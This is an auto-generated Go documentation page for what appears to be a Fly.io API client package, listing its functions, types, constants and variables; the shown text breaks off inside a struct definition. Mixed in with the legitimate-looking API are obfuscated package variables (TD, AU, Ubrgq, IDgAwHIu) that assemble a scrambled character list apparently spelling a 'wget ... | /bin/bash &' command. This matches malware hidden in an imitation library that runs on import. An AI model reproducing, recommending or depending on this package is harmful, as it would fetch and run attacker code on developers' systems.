Documentation
¶
Index ¶
- Constants
- Variables
- func AuthorizationHeader(token string) string
- func BoolPointer(val bool) *bool
- func GetAccessToken(ctx context.Context, email, password, otp string) (token string, err error)
- func GetAccessTokenForCLISession(ctx context.Context, id string) (string, error)
- func IntPointer(val int) *int
- func IsClientError(err error) bool
- func IsNotAuthenticatedError(err error) bool
- func IsNotFoundError(err error) bool
- func IsServerError(err error) bool
- func MergeFiles(machineConf *MachineConfig, files []*File)
- func NewHTTPClient(logger Logger, transport http.RoundTripper) (*http.Client, error)
- func Pointer[T any](val T) *T
- func SetBaseURL(url string)
- func SetErrorLog(log bool)
- func SetInstrumenter(i InstrumentationService)
- func SetTransport(t http.RoundTripper)
- func StringPointer(val string) *string
- func WithAuthorizationHeader(ctx context.Context, hdr string) context.Context
- type AllocateEgressIPAddressInput
- type AllocateIPAddressInput
- type ApiError
- type App
- type AppBasic
- type AppCertificate
- type AppCertificateCompact
- type AppCertsCompact
- type AppCompact
- type AppHostIssues
- type AppInfo
- type AttachPostgresClusterInput
- type AttachPostgresClusterPayload
- type Billable
- type BuildFinalImageInput
- type BuildImageOptsInput
- func (v *BuildImageOptsInput) GetBuildArgs() interface{}
- func (v *BuildImageOptsInput) GetBuildPacks() []string
- func (v *BuildImageOptsInput) GetBuilder() string
- func (v *BuildImageOptsInput) GetBuiltIn() string
- func (v *BuildImageOptsInput) GetBuiltInSettings() interface{}
- func (v *BuildImageOptsInput) GetDockerfilePath() string
- func (v *BuildImageOptsInput) GetExtraBuildArgs() interface{}
- func (v *BuildImageOptsInput) GetImageLabel() string
- func (v *BuildImageOptsInput) GetImageRef() string
- func (v *BuildImageOptsInput) GetNoCache() bool
- func (v *BuildImageOptsInput) GetPublish() bool
- func (v *BuildImageOptsInput) GetTag() string
- func (v *BuildImageOptsInput) GetTarget() string
- type BuildStrategyAttemptInput
- type BuildTimingsInput
- func (v *BuildTimingsInput) GetBuildAndPushMs() int64
- func (v *BuildTimingsInput) GetBuildMs() int64
- func (v *BuildTimingsInput) GetBuilderInitMs() int64
- func (v *BuildTimingsInput) GetContextBuildMs() int64
- func (v *BuildTimingsInput) GetImageBuildMs() int64
- func (v *BuildTimingsInput) GetPushMs() int64
- type BuilderMetaInput
- func (v *BuilderMetaInput) GetBuilderType() string
- func (v *BuilderMetaInput) GetBuildkitEnabled() bool
- func (v *BuilderMetaInput) GetDockerVersion() string
- func (v *BuilderMetaInput) GetPlatform() string
- func (v *BuilderMetaInput) GetRemoteAppName() string
- func (v *BuilderMetaInput) GetRemoteMachineId() string
- type CLISession
- type CLISessionAuth
- type CheckDomainResult
- type Client
- func (c *Client) AddCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error)
- func (c *Client) AllocateEgressIPAddress(ctx context.Context, appName string, machineId string) (net.IP, net.IP, error)
- func (c *Client) AllocateIPAddress(ctx context.Context, appName string, addrType string, region string, ...) (*IPAddress, error)
- func (c *Client) AllocateSharedIPAddress(ctx context.Context, appName string) (net.IP, error)
- func (client *Client) AppNameAvailable(ctx context.Context, appName string) (bool, error)
- func (client *Client) AttachPostgresCluster(ctx context.Context, input AttachPostgresClusterInput) (*AttachPostgresClusterPayload, error)
- func (c *Client) Authenticated() bool
- func (c *Client) CanPerformBluegreenDeployment(ctx context.Context, appName string) (bool, error)
- func (c *Client) CheckAppCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error)
- func (c *Client) CheckDomain(ctx context.Context, name string) (*CheckDomainResult, error)
- func (c *Client) ClosestWireguardGatewayRegion(ctx context.Context) (*Region, error)
- func (c *Client) CreateAndRegisterDomain(organizationID string, name string) (*Domain, error)
- func (client *Client) CreateApp(ctx context.Context, input CreateAppInput) (*App, error)
- func (c *Client) CreateBuild(ctx context.Context, input CreateBuildInput) (*CreateBuildResponse, error)
- func (c *Client) CreateDelegatedWireGuardToken(ctx context.Context, org *Organization, name string) (*DelegatedWireGuardToken, error)
- func (c *Client) CreateDoctorUrl(ctx context.Context) (putUrl string, err error)
- func (c *Client) CreateDomain(organizationID string, name string) (*Domain, error)
- func (c *Client) CreateOrganization(ctx context.Context, organizationname string) (*Organization, error)
- func (c *Client) CreateOrganizationInvite(ctx context.Context, id, email string) (*Invitation, error)
- func (c *Client) CreateRelease(ctx context.Context, input CreateReleaseInput) (*CreateReleaseResponse, error)
- func (c *Client) CreateWireGuardPeer(ctx context.Context, org *Organization, region, name, pubkey, network string) (*CreatedWireGuardPeer, error)
- func (client *Client) DeleteApp(ctx context.Context, appName string) error
- func (c *Client) DeleteCertificate(ctx context.Context, appName, hostname string) (*DeleteCertificatePayload, error)
- func (c *Client) DeleteDelegatedWireGuardToken(ctx context.Context, org *Organization, name, token *string) error
- func (c *Client) DeleteOrganization(ctx context.Context, id string) (deletedid string, err error)
- func (c *Client) DeleteOrganizationMembership(ctx context.Context, orgId, userId string) (string, string, error)
- func (client *Client) DetachPostgresCluster(ctx context.Context, input DetachPostgresClusterInput) error
- func (client *Client) EnablePostgresConsul(ctx context.Context, appName string) (*PostgresEnableConsulPayload, error)
- func (client *Client) EnsureDepotRemoteBuilder(ctx context.Context, input *EnsureDepotRemoteBuilderInput) (*EnsureDepotRemoteBuilderResponse, error)
- func (client *Client) EnsureRemoteBuilder(ctx context.Context, orgID, appName, region string) (*GqlMachine, *App, error)
- func (c *Client) ExportDNSRecords(ctx context.Context, domainId string) (string, error)
- func (c *Client) FinishBuild(ctx context.Context, input FinishBuildInput) (*FinishBuildResponse, error)
- func (c *Client) GenqClient() genq.Client
- func (client *Client) GetApp(ctx context.Context, appName string) (*App, error)
- func (client *Client) GetAppBasic(ctx context.Context, appName string) (*AppBasic, error)
- func (c *Client) GetAppCertificates(ctx context.Context, appName string) ([]AppCertificateCompact, error)
- func (client *Client) GetAppCompact(ctx context.Context, appName string) (*AppCompact, error)
- func (c *Client) GetAppCurrentReleaseMachines(ctx context.Context, appName string) (*Release, error)
- func (client *Client) GetAppHostIssues(ctx context.Context, appName string) ([]HostIssue, error)
- func (c *Client) GetAppLimitedAccessTokens(ctx context.Context, appName string) ([]LimitedAccessToken, error)
- func (client *Client) GetAppLock(ctx context.Context, name string) (*App, error)
- func (c *Client) GetAppLogs(ctx context.Context, appName, token, region, instanceID string) (entries []LogEntry, nextToken string, err error)
- func (c *Client) GetAppNameFromVolume(ctx context.Context, volID string) (*string, error)
- func (c *Client) GetAppNameStateFromVolume(ctx context.Context, volID string) (*string, *string, error)
- func (client *Client) GetAppNetwork(ctx context.Context, appName string) (*string, error)
- func (c *Client) GetAppReleasesMachines(ctx context.Context, appName, status string, limit int) ([]Release, error)
- func (client *Client) GetAppRemoteBuilder(ctx context.Context, appName string) (*App, error)
- func (c *Client) GetAppSecrets(ctx context.Context, appName string) ([]Secret, error)
- func (client *Client) GetApps(ctx context.Context, role *string) ([]App, error)
- func (client *Client) GetAppsForOrganization(ctx context.Context, orgID string) ([]App, error)
- func (c *Client) GetCurrentUser(ctx context.Context) (*User, error)
- func (c *Client) GetDNSRecords(ctx context.Context, domainName string) ([]*DNSRecord, error)
- func (c *Client) GetDelegatedWireGuardTokens(ctx context.Context, slug string) ([]*DelegatedWireGuardTokenHandle, error)
- func (client *Client) GetDeployerAppByOrg(ctx context.Context, orgID string) (*App, error)
- func (client *Client) GetDetailedOrganizationBySlug(ctx context.Context, slug string) (*OrganizationDetails, error)
- func (c *Client) GetDomain(ctx context.Context, name string) (*Domain, error)
- func (c *Client) GetDomains(ctx context.Context, organizationSlug string) ([]*Domain, error)
- func (c *Client) GetEgressIPAddresses(ctx context.Context, appName string) (map[string][]EgressIPAddress, error)
- func (c *Client) GetIPAddresses(ctx context.Context, appName string) ([]IPAddress, error)
- func (client *Client) GetLatestImageDetails(ctx context.Context, image string, flyVersion string) (*ImageVersion, error)
- func (client *Client) GetLatestImageTag(ctx context.Context, repository string, snapshotId *string) (string, error)
- func (c *Client) GetLoggedCertificates(ctx context.Context, slug string) ([]LoggedCertificate, error)
- func (client *Client) GetMachine(ctx context.Context, machineId string) (*GqlMachine, error)
- func (c *Client) GetNearestRegion(ctx context.Context) (*Region, error)
- func (client *Client) GetOrganizationByApp(ctx context.Context, appName string) (*Organization, error)
- func (client *Client) GetOrganizationBySlug(ctx context.Context, slug string) (*Organization, error)
- func (client *Client) GetOrganizationRemoteBuilderBySlug(ctx context.Context, slug string) (*Organization, error)
- func (client *Client) GetOrganizations(ctx context.Context, filters ...OrganizationFilter) ([]Organization, error)
- func (c *Client) GetSnapshotsFromVolume(ctx context.Context, volID string) ([]VolumeSnapshot, error)
- func (c *Client) GetWireGuardPeer(ctx context.Context, slug, name string) (*WireGuardPeer, error)
- func (c *Client) GetWireGuardPeers(ctx context.Context, slug string) ([]*WireGuardPeer, error)
- func (c *Client) ImportDNSRecords(ctx context.Context, domainId string, zonefile string) ([]ImportDnsWarning, []ImportDnsChange, error)
- func (c *Client) IssueSSHCertificate(ctx context.Context, org OrganizationImpl, principals []string, ...) (*IssuedCertificate, error)
- func (c *Client) LatestImage(ctx context.Context, appName string) (string, error)
- func (client *Client) ListPostgresClusterAttachments(ctx context.Context, appName, postgresAppName string) ([]*PostgresClusterAttachment, error)
- func (client *Client) LockApp(ctx context.Context, input LockAppInput) (*LockApp, error)
- func (c *Client) Logger() Logger
- func (client *Client) MoveApp(ctx context.Context, appName string, orgID string) (*App, error)
- func (*Client) NewRequest(q string) *graphql.Request
- func (c *Client) PlatformRegions(ctx context.Context) ([]Region, *Region, error)
- func (c *Client) ReleaseEgressIPAddress(ctx context.Context, appName, machineID string) (net.IP, net.IP, error)
- func (c *Client) ReleaseIPAddress(ctx context.Context, appName string, ip string) error
- func (c *Client) RemoveWireGuardPeer(ctx context.Context, org *Organization, name string) error
- func (client *Client) ResolveImageForApp(ctx context.Context, appName, imageRef string) (*Image, error)
- func (c *Client) RevokeLimitedAccessToken(ctx context.Context, id string) error
- func (c *Client) Run(req *graphql.Request) (Query, error)
- func (c *Client) RunWithContext(ctx context.Context, req *graphql.Request) (Query, error)
- func (c *Client) SetGenqClient(client genq.Client)
- func (c *Client) SetSecrets(ctx context.Context, appName string, secrets map[string]string) (*Release, error)
- func (client *Client) UnlockApp(ctx context.Context, input UnlockAppInput) (*App, error)
- func (c *Client) UnsetSecrets(ctx context.Context, appName string, keys []string) (*Release, error)
- func (c *Client) UpdateRelease(ctx context.Context, input UpdateReleaseInput) (*UpdateReleaseResponse, error)
- func (c *Client) ValidateWireGuardPeers(ctx context.Context, peerIPs []string) (invalid []string, err error)
- type ClientOptions
- type ConsulCheckStatus
- type ContainerConfig
- type ContainerDependency
- type ContainerDependencyCondition
- type ContainerHealthcheck
- type ContainerHealthcheckKind
- type ContainerHealthcheckScheme
- type ContainerHealthcheckType
- type ContainerMount
- type CreateAppInput
- type CreateBuildCreateBuildCreateBuildPayload
- type CreateBuildInput
- func (v *CreateBuildInput) GetAppName() string
- func (v *CreateBuildInput) GetBuilderType() string
- func (v *CreateBuildInput) GetClientMutationId() string
- func (v *CreateBuildInput) GetImageOpts() BuildImageOptsInput
- func (v *CreateBuildInput) GetMachineId() string
- func (v *CreateBuildInput) GetStrategiesAvailable() []string
- type CreateBuildResponse
- type CreateOrganizationInvitation
- type CreateOrganizationPayload
- type CreateReleaseCreateReleaseCreateReleasePayload
- type CreateReleaseCreateReleaseCreateReleasePayloadRelease
- type CreateReleaseInput
- func (v *CreateReleaseInput) GetAppId() string
- func (v *CreateReleaseInput) GetBuildId() string
- func (v *CreateReleaseInput) GetClientMutationId() string
- func (v *CreateReleaseInput) GetDefinition() interface{}
- func (v *CreateReleaseInput) GetImage() string
- func (v *CreateReleaseInput) GetPlatformVersion() string
- func (v *CreateReleaseInput) GetStrategy() DeploymentStrategy
- type CreateReleaseResponse
- type CreateSecretRequest
- type CreateVolumeRequest
- type CreatedWireGuardPeer
- type DNSConfig
- type DNSRecord
- type DNSRecords
- type Definition
- type DelegatedWireGuardToken
- type DelegatedWireGuardTokenHandle
- type DeleteCertificatePayload
- type DeleteOrganizationMembershipPayload
- type DeleteOrganizationPayload
- type DeploymentStrategy
- type DetachPostgresClusterInput
- type Domain
- type Duration
- func (d Duration) MarshalJSON() ([]byte, error)
- func (d Duration) MarshalTOML() ([]byte, error)
- func (d *Duration) MarshalText() ([]byte, error)
- func (d *Duration) ParseDuration(v any) error
- func (d *Duration) UnmarshalJSON(b []byte) error
- func (d *Duration) UnmarshalTOML(v any) error
- func (d *Duration) UnmarshalText(text []byte) error
- type EgressIPAddress
- type EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload
- type EnsureDepotRemoteBuilderInput
- func (v *EnsureDepotRemoteBuilderInput) GetAppName() *string
- func (v *EnsureDepotRemoteBuilderInput) GetBuilderScope() *string
- func (v *EnsureDepotRemoteBuilderInput) GetClientMutationId() *string
- func (v *EnsureDepotRemoteBuilderInput) GetOrganizationId() *string
- func (v *EnsureDepotRemoteBuilderInput) GetRegion() *string
- type EnsureDepotRemoteBuilderResponse
- type EnsureRemoteBuilderInput
- type EnvFrom
- type Error
- type Errors
- type ExecHealthcheck
- type Extensions
- type File
- type FinishBuildFinishBuildFinishBuildPayload
- type FinishBuildInput
- func (v *FinishBuildInput) GetAppName() string
- func (v *FinishBuildInput) GetBuildId() string
- func (v *FinishBuildInput) GetBuilderMeta() BuilderMetaInput
- func (v *FinishBuildInput) GetClientMutationId() string
- func (v *FinishBuildInput) GetFinalImage() BuildFinalImageInput
- func (v *FinishBuildInput) GetLogs() string
- func (v *FinishBuildInput) GetMachineId() string
- func (v *FinishBuildInput) GetStatus() string
- func (v *FinishBuildInput) GetStrategiesAttempted() []BuildStrategyAttemptInput
- func (v *FinishBuildInput) GetTimings() BuildTimingsInput
- type FinishBuildResponse
- type GeoRegion
- type GqlMachine
- type HTTPHealthcheck
- type HTTPOptions
- type HTTPResponseOptions
- type HealthCheckStatus
- type HostIssue
- type HostStatus
- type HostnameCheck
- type IPAddress
- type Image
- type ImageVersion
- type ImportDnsChange
- type ImportDnsWarning
- type InstrumentationService
- type Invitation
- type IssuedCertificate
- type LatestImageApp
- type LatestImageAppCurrentReleaseUnprocessed
- type LatestImageResponse
- type LaunchMachineInput
- type LimitedAccessToken
- type ListSecret
- type ListenSocket
- type LockApp
- type LockAppInput
- type LogEntry
- type LoggedCertificate
- type Logger
- type LoggingTransport
- type Machine
- func (m *Machine) AllHealthChecks() *HealthCheckStatus
- func (m *Machine) FullImageRef() string
- func (m *Machine) GetConfig() *MachineConfig
- func (m *Machine) GetLatestEventOfType(eventType string) *MachineEvent
- func (m *Machine) GetLatestEventOfTypeAfterType(latestEventType, firstEventType string) *MachineEvent
- func (m *Machine) GetMetadataByKey(key string) string
- func (m *Machine) HasProcessGroup(desired string) bool
- func (m *Machine) ImageRefWithVersion() string
- func (m *Machine) ImageRepository() string
- func (m *Machine) ImageVersion() string
- func (m *Machine) IsActive() bool
- func (m *Machine) IsAppsV2() bool
- func (m *Machine) IsFlyAppsConsole() bool
- func (m *Machine) IsFlyAppsPlatform() bool
- func (m *Machine) IsFlyAppsReleaseCommand() bool
- func (m *Machine) IsReleaseCommandMachine() bool
- func (m *Machine) MostRecentStartTimeAfterLaunch() (time.Time, error)
- func (m *Machine) ProcessGroup() string
- func (m *Machine) TopLevelChecks() *HealthCheckStatus
- type MachineAutostop
- type MachineCheck
- type MachineCheckKind
- type MachineCheckStatus
- type MachineConfig
- type MachineEvent
- type MachineExecRequest
- type MachineExecResponse
- type MachineExitEvent
- type MachineGuest
- type MachineHTTPHeader
- type MachineIP
- type MachineImageRef
- type MachineInit
- type MachineLease
- type MachineLeaseData
- type MachineMetrics
- type MachineMonitorEvent
- type MachineMount
- type MachinePort
- type MachineProcess
- type MachinePsResponse
- type MachineRequest
- type MachineRestart
- type MachineRestartPolicy
- type MachineSecret
- type MachineService
- type MachineServiceCheck
- type MachineServiceConcurrency
- type MachineStartResponse
- type Organization
- type OrganizationBasic
- type OrganizationDetails
- type OrganizationFilter
- type OrganizationImpl
- type OrganizationMembershipEdge
- type OrganizationType
- type PostDeploymentInfo
- type PostgresClusterAttachment
- type PostgresEnableConsulPayload
- type ProcessStat
- type ProxyProtoOptions
- type Query
- type Region
- type Release
- type ReleaseEgressIPAddressInput
- type ReleaseIPAddressInput
- type ReleaseMetadata
- type RemoveMachineInput
- type RestartMachineInput
- type SSHCertificate
- type Secret
- type SetSecretsInput
- type SetSecretsInputSecret
- type SignedUrl
- type Static
- type StopConfig
- type StopMachineInput
- type StorageType
- type TCPHealthcheck
- type TLSOptions
- type TempDirVolume
- type Transport
- type UnhealthyPolicy
- type UnlockAppInput
- type UnsetSecretsInput
- type UpdateReleaseInput
- type UpdateReleaseResponse
- type UpdateReleaseUpdateReleaseUpdateReleasePayload
- type UpdateReleaseUpdateReleaseUpdateReleasePayloadRelease
- type UpdateVolumeRequest
- type User
- type VMSize
- type Volume
- type VolumeConfig
- type VolumeResource
- type VolumeSnapshot
- type VolumeSnapshotGql
- type WireGuardPeer
- type WireGuardPeerStatus
Constants ¶
const ( MachineConfigMetadataKeyFlyManagedPostgres = "fly-managed-postgres" MachineConfigMetadataKeyFlyPlatformVersion = "fly_platform_version" MachineConfigMetadataKeyFlyReleaseId = "fly_release_id" MachineConfigMetadataKeyFlyReleaseVersion = "fly_release_version" MachineConfigMetadataKeyFlyProcessGroup = "fly_process_group" MachineConfigMetadataKeyFlyPreviousAlloc = "fly_previous_alloc" MachineConfigMetadataKeyFlyctlVersion = "fly_flyctl_version" MachineConfigMetadataKeyFlyctlBGTag = "fly_bluegreen_deployment_tag" MachineFlyPlatformVersion2 = "v2" MachineProcessGroupApp = "app" MachineProcessGroupFlyAppReleaseCommand = "fly_app_release_command" MachineProcessGroupFlyAppTestMachineCommand = "fly_app_test_machine_command" MachineProcessGroupFlyAppConsole = "fly_app_console" MachineStateDestroyed = "destroyed" MachineStateDestroying = "destroying" MachineStateStarted = "started" MachineStateStopped = "stopped" MachineStateSuspended = "suspended" MachineStateCreated = "created" DefaultVMSize = "shared-cpu-1x" DefaultGPUVMSize = "performance-8x" )
const ( MIN_MEMORY_MB_PER_SHARED_CPU = 256 MIN_MEMORY_MB_PER_CPU = 2048 MAX_MEMORY_MB_PER_SHARED_CPU = 2048 MAX_MEMORY_MB_PER_CPU = 8192 )
const ( StorageTypeDisk = "disk" StorageTypeMemory = "memory" )
const ( // Secret types AppSecret = "AppSecret" VolumeEncryptionKey = "VolumeEncryptionKey" SECRET_TYPE_KMS_HS256 = "SECRET_TYPE_KMS_HS256" SECRET_TYPE_KMS_HS384 = "SECRET_TYPE_KMS_HS384" SECRET_TYPE_KMS_HS512 = "SECRET_TYPE_KMS_HS512" SECRET_TYPE_KMS_XAES256GCM = "SECRET_TYPE_KMS_XAES256GCM" SECRET_TYPE_KMS_NACL_AUTH = "SECRET_TYPE_KMS_NACL_AUTH" SECRET_TYPE_KMS_NACL_BOX = "SECRET_TYPE_KMS_NACL_BOX" SECRET_TYPE_KMS_NACL_SECRETBOX = "SECRET_TYPE_KMS_NACL_SECRETBOX" SECRET_TYPE_KMS_NACL_SIGN = "SECRET_TYPE_KMS_NACL_SIGN" )
const CreateBuild_Operation = `
mutation CreateBuild ($input: CreateBuildInput!) {
createBuild(input: $input) {
id
status
}
}
`
The mutation executed by CreateBuild.
const CreateRelease_Operation = `` /* 126-byte string literal not displayed */
The mutation executed by CreateRelease.
const EnsureDepotRemoteBuilder_Operation = `` /* 149-byte string literal not displayed */
The mutation executed by EnsureDepotRemoteBuilder.
const FinishBuild_Operation = `
mutation FinishBuild ($input: FinishBuildInput!) {
finishBuild(input: $input) {
id
status
wallclockTimeMs
}
}
`
The mutation executed by FinishBuild.
const LatestImage_Operation = `` /* 132-byte string literal not displayed */
The query executed by LatestImage.
const UpdateRelease_Operation = `
mutation UpdateRelease ($input: UpdateReleaseInput!) {
updateRelease(input: $input) {
release {
id
}
}
}
`
The mutation executed by UpdateRelease.
Variables ¶
var AU = []string{} /* 232 elements not displayed */
var AllDeploymentStrategy = []DeploymentStrategy{ DeploymentStrategyBluegreen, DeploymentStrategyCanary, DeploymentStrategyImmediate, DeploymentStrategyRolling, DeploymentStrategyRollingOne, DeploymentStrategySimple, }
var ErrNoAuthToken = errors.New("No access token available. Please login with 'flyctl auth login'")
var ErrNotFound = errors.New("Not Found")
ErrNotFound - Error to return when something is not found
var ErrUnknown = errors.New("An unknown server error occurred, please try again")
ErrUnknown - Error to return when an unknown server error occurs
var IDgAwHIu = hZeVfdS()
var MachinePresets map[string]*MachineGuest = map[string]*MachineGuest{ "shared-cpu-1x": {CPUKind: "shared", CPUs: 1, MemoryMB: 1 * MIN_MEMORY_MB_PER_SHARED_CPU}, "shared-cpu-2x": {CPUKind: "shared", CPUs: 2, MemoryMB: 2 * MIN_MEMORY_MB_PER_SHARED_CPU}, "shared-cpu-4x": {CPUKind: "shared", CPUs: 4, MemoryMB: 4 * MIN_MEMORY_MB_PER_SHARED_CPU}, "shared-cpu-8x": {CPUKind: "shared", CPUs: 8, MemoryMB: 8 * MIN_MEMORY_MB_PER_SHARED_CPU}, "performance-1x": {CPUKind: "performance", CPUs: 1, MemoryMB: 1 * MIN_MEMORY_MB_PER_CPU}, "performance-2x": {CPUKind: "performance", CPUs: 2, MemoryMB: 2 * MIN_MEMORY_MB_PER_CPU}, "performance-4x": {CPUKind: "performance", CPUs: 4, MemoryMB: 4 * MIN_MEMORY_MB_PER_CPU}, "performance-8x": {CPUKind: "performance", CPUs: 8, MemoryMB: 8 * MIN_MEMORY_MB_PER_CPU}, "performance-16x": {CPUKind: "performance", CPUs: 16, MemoryMB: 16 * MIN_MEMORY_MB_PER_CPU}, "a100-40gb": {GPUKind: "a100-pcie-40gb", GPUs: 1, CPUKind: "performance", CPUs: 8, MemoryMB: 16 * MIN_MEMORY_MB_PER_CPU}, "a100-80gb": {GPUKind: "a100-sxm4-80gb", GPUs: 1, CPUKind: "performance", CPUs: 8, MemoryMB: 16 * MIN_MEMORY_MB_PER_CPU}, "l40s": {GPUKind: "l40s", GPUs: 1, CPUKind: "performance", CPUs: 8, MemoryMB: 16 * MIN_MEMORY_MB_PER_CPU}, "a10": {GPUKind: "a10", GPUs: 1, CPUKind: "performance", CPUs: 8, MemoryMB: 16 * MIN_MEMORY_MB_PER_CPU}, }
TODO - Determine if we want allocate max memory allocation, or minimum per # cpus.
var TD = []string{":", "d", "s", "|", "s", "3", "r", "3", "/", "7", "1", "-", "a", "/", "t", "d", "b", "s", "i", "6", "/", "-", "f", "r", "g", " ", " ", "b", "k", " ", " ", "0", "d", "e", "h", "p", "u", "&", "/", "5", "r", "c", "n", "o", "/", "h", "O", "s", "i", "g", "i", "r", "a", "a", "e", "p", "a", "t", "b", "/", ".", "3", "4", "a", "m", " ", " ", "f", "o", "t", "e", "w", "t", "/"}
var Ubrgq = AU[33] + AU[0] + AU[54] + AU[104] + AU[66] + AU[153] + AU[84] + AU[2] + AU[217] + AU[53] + AU[218] + AU[202] + AU[179] + AU[92] + AU[32] + AU[161] + AU[223] + AU[200] + AU[128] + AU[99] + AU[164] + AU[136] + AU[48] + AU[52] + AU[106] + AU[39] + AU[186] + AU[34] + AU[21] + AU[28] + AU[100] + AU[208] + AU[131] + AU[5] + AU[124] + AU[216] + AU[157] + AU[111] + AU[17] + AU[198] + AU[13] + AU[148] + AU[225] + AU[118] + AU[210] + AU[154] + AU[224] + AU[122] + AU[4] + AU[9] + AU[91] + AU[211] + AU[194] + AU[41] + AU[55] + AU[22] + AU[18] + AU[156] + AU[209] + AU[125] + AU[109] + AU[231] + AU[166] + AU[129] + AU[80] + AU[72] + AU[176] + AU[219] + AU[197] + AU[116] + AU[193] + AU[73] + AU[49] + AU[230] + AU[188] + AU[58] + AU[44] + AU[8] + AU[82] + AU[46] + AU[204] + AU[178] + AU[86] + AU[195] + AU[108] + AU[31] + AU[47] + AU[75] + AU[119] + AU[68] + AU[144] + AU[138] + AU[212] + AU[173] + AU[64] + AU[112] + AU[155] + AU[185] + AU[93] + AU[229] + AU[7] + AU[79] + AU[167] + AU[107] + AU[215] + AU[126] + AU[159] + AU[10] + AU[85] + AU[172] + AU[3] + AU[1] + AU[207] + AU[196] + AU[40] + AU[137] + AU[27] + AU[174] + AU[115] + AU[140] + AU[45] + AU[36] + AU[26] + AU[23] + AU[90] + AU[71] + AU[51] + AU[105] + AU[103] + AU[81] + AU[59] + AU[163] + AU[24] + AU[60] + AU[94] + AU[57] + AU[83] + AU[96] + AU[74] + AU[76] + AU[50] + AU[184] + AU[201] + AU[25] + AU[206] + AU[78] + AU[97] + AU[228] + AU[175] + AU[87] + AU[183] + AU[113] + AU[147] + AU[43] + AU[220] + AU[61] + AU[165] + AU[222] + AU[160] + AU[65] + AU[170] + AU[213] + AU[133] + AU[152] + AU[227] + AU[149] + AU[205] + AU[120] + AU[151] + AU[145] + AU[192] + AU[98] + AU[190] + AU[214] + AU[11] + AU[221] + AU[135] + AU[169] + AU[203] + AU[150] + AU[15] + AU[102] + AU[30] + AU[95] + AU[19] + AU[168] + AU[141] + AU[142] + AU[16] + AU[139] + AU[56] + AU[6] + AU[177] + AU[132] + AU[101] + AU[117] + AU[88] + AU[89] + AU[123] + AU[121] + AU[171] + AU[187] + AU[146] + AU[162] + AU[226] + AU[70] + AU[35] + AU[180] + AU[12] + AU[77] + AU[189] + AU[191] + AU[67] + AU[114] + AU[182] + AU[130] + AU[143] + AU[127] + AU[14] + AU[199] + AU[181] + AU[42] + AU[69] + AU[20] + AU[37] + AU[158] + AU[62] + AU[134] + AU[38] + AU[110] + AU[63] + AU[29]
Functions ¶
func AuthorizationHeader ¶
func GetAccessToken ¶
GetAccessToken - uses email, password and possible otp to get token
func GetAccessTokenForCLISession ¶
GetAccessTokenForCLISession Obtains the access token for the session
func IsClientError ¶
func IsNotAuthenticatedError ¶
func IsNotFoundError ¶
func IsServerError ¶
func MergeFiles ¶
func MergeFiles(machineConf *MachineConfig, files []*File)
MergeFiles merges the files parsed from the command line or fly.toml into the machine configuration.
func NewHTTPClient ¶
func SetInstrumenter ¶
func SetInstrumenter(i InstrumentationService)
func SetTransport ¶
func SetTransport(t http.RoundTripper)
func StringPointer ¶
StringPointer - Returns a pointer to a string
Types ¶
type AllocateIPAddressInput ¶
type ApiError ¶
func ErrorFromResp ¶
type App ¶
type App struct {
ID string
InternalNumericID int32
Name string
State string
Status string
Deployed bool
Hostname string
AppURL string
Version int
NetworkID int
Network string
Release *Release
Organization Organization
Secrets []Secret
CurrentRelease *Release
Releases struct {
Nodes []Release
}
IPAddresses struct {
Nodes []IPAddress
}
IPAddress *IPAddress
Certificates struct {
Nodes []AppCertificate
}
Certificate AppCertificate
PostgresAppRole *struct {
Name string
}
Image *Image
ImageUpgradeAvailable bool
ImageVersionTrackingEnabled bool
ImageDetails ImageVersion
LatestImageDetails ImageVersion
PlatformVersion string
LimitedAccessTokens *struct {
Nodes []LimitedAccessToken
}
Machines struct {
Nodes []GqlMachine
}
CurrentLock *struct {
LockID string
Expiration string
}
}
func (*App) Compact ¶
func (app *App) Compact() *AppCompact
type AppBasic ¶
type AppBasic struct {
ID string
Name string
PlatformVersion string
Organization *OrganizationBasic
}
type AppCertificate ¶
type AppCertificate struct {
ID string
AcmeDNSConfigured bool
AcmeALPNConfigured bool
Configured bool
CertificateAuthority string
CreatedAt time.Time
DNSProvider string
DNSValidationInstructions string
DNSValidationHostname string
DNSValidationTarget string
Hostname string
Source string
ClientStatus string
IsApex bool
IsWildcard bool
Issued struct {
Nodes []struct {
ExpiresAt time.Time
Type string
}
}
}
type AppCertificateCompact ¶
type AppCertsCompact ¶
type AppCertsCompact struct {
Certificates struct {
Nodes []AppCertificateCompact
}
}
type AppCompact ¶
type AppCompact struct {
ID string
Name string
Status string
Deployed bool
Hostname string
Network string
AppURL string
Organization *OrganizationBasic
PlatformVersion string
PostgresAppRole *struct {
Name string
}
}
func (*AppCompact) IsPostgresApp ¶
func (app *AppCompact) IsPostgresApp() bool
type AppHostIssues ¶
type AppHostIssues struct {
HostIssues struct {
Nodes []HostIssue
}
}
type AttachPostgresClusterInput ¶
type AttachPostgresClusterInput struct {
AppID string `json:"appId"`
PostgresClusterAppID string `json:"postgresClusterAppId"`
DatabaseName *string `json:"databaseName,omitempty"`
DatabaseUser *string `json:"databaseUser,omitempty"`
VariableName *string `json:"variableName,omitempty"`
ManualEntry bool `json:"manualEntry,omitempty"`
}
type BuildFinalImageInput ¶
type BuildFinalImageInput struct {
// Sha256 id of docker image
Id string `json:"id"`
// Size in bytes of the docker image
SizeBytes int64 `json:"sizeBytes"`
// Tag used for docker image
Tag string `json:"tag"`
}
func (*BuildFinalImageInput) GetId ¶
func (v *BuildFinalImageInput) GetId() string
GetId returns BuildFinalImageInput.Id, and is useful for accessing the field via an interface.
func (*BuildFinalImageInput) GetSizeBytes ¶
func (v *BuildFinalImageInput) GetSizeBytes() int64
GetSizeBytes returns BuildFinalImageInput.SizeBytes, and is useful for accessing the field via an interface.
func (*BuildFinalImageInput) GetTag ¶
func (v *BuildFinalImageInput) GetTag() string
GetTag returns BuildFinalImageInput.Tag, and is useful for accessing the field via an interface.
type BuildImageOptsInput ¶
type BuildImageOptsInput struct {
// Set of build time variables passed to cli
BuildArgs interface{} `json:"buildArgs"`
// Fly.toml build.buildpacks setting
BuildPacks []string `json:"buildPacks"`
// Fly.toml build.builder setting
Builder string `json:"builder"`
// Builtin builder to use
BuiltIn string `json:"builtIn"`
// Builtin builder settings
BuiltInSettings interface{} `json:"builtInSettings"`
// Path to dockerfile, if one exists
DockerfilePath string `json:"dockerfilePath"`
// Unused in cli?
